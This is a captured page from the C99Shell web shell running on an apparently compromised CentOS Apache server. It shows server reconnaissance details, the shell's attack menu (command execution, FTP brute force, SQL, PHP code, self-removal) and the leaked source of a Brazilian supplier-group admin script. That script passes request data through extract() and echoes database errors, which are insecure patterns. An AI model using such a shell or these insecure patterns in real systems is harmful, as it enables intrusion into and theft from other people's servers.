!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/fornecedores/   drwxr-xr-x
Free 8.9 GB of 93.48 GB (9.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     fornecedor_grupo_grava.php (2.34 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// Includes
include("../../config/config.php");
include(
INCLUDES "inc_Funcoes.php");
include(
INCLUDES "inc_Conexao.php");
include(
INCLUDES "valida_usuario.inc.php");

header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1   
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Data já vencida

?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
if ($_POST) {
    
extract($_POST);
    
/*
    echo '<pre>';
    print_r($_POST);
    echo '</pre>';
    die();
    */

    
$idGfo $GFO_RowID;
    
    if (
$GFO_RowID == '') {
        
$acao1 'salvar';
        
$acao2 'salvo';
        
$irPara 'fornecedor_grupo_cad.php';
    } else {
        
$acao1 'alterar';
        
$acao2 'alterado';
        
$irPara 'fornecedor_grupos_lista.php';
    }

    
$grupo->GFO_RowID $GFO_RowID;
    
$grupo->GFO_Nome $GFO_Nome;
    if (
$GFO_AtivoSN != '')
        
$grupo->GFO_AtivoSN $GFO_AtivoSN;
    else
        
$grupo->GFO_AtivoSN 'S';
    
/*
    echo '<pre>';
    print_r($grupo);
    echo '</pre>';
    die();
    */
    
mysql_query("BEGIN");
    
    if (
salva("FUN_GruposFornecedores",$grupo)) {
        
        
$erro false;
        
        if (
$idFor == '')
            
$idFor mysql_insert_id();
        
    } else {
    
        
$erro true;
        echo 
mysql_error();
    
    }
    
    if (
$erro) {
        
mysql_query("ROLLBACK");
        
$msg 'Problema para '.$acao1.' o Grupo! Por favor, tente novamente!';
    } else {
        
mysql_query("COMMIT");
        
$msg 'Grupo '.$acao2.' com SUCESSO!';
    }
    
?>
    <script type="text/javascript">
        alert('<?= $msg?>');
        if ('<?= !$erro?>') {
            parent.location = "<?= $irPara?>";
        } else {
            history.go(-1);
        }
    </script>
    <?php
    
die();
} else
if (
$_GET) {
    
extract($_GET);
    
    
$grupo->GFO_RowID $id;
    if (
$acao == 'Inativar') {
        
$acao1 'INATIVADO';
        
$acao2 'inativação';
        
$grupo->GFO_AtivoSN 'N';
    } else
    if (
$acao == 'Ativar') {
        
$acao1 'ATIVADO';
        
$acao2 'ativação';
        
$grupo->GFO_AtivoSN 'S';
    }
    
    if (
salva("FUN_GruposFornecedores",$grupo)) {
        
$msg 'Grupo '.$acao1.' com SUCESSO!';
    } else {
        
$msg 'Problemas na '.$acao2.' do Grupo! Favor tentar novamente!';
    }
    
/*
    echo '<pre>';
    print_r($grupo);
    echo '</pre>';
    die();
    */
}
?>
<script type="text/javascript">
    alert('<?= $msg?>');
    if ('<?= !$erro?>') {
        parent.location = "fornecedor_grupos_lista.php";
    } else {
        history.go(-1);
    }
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.004 ]--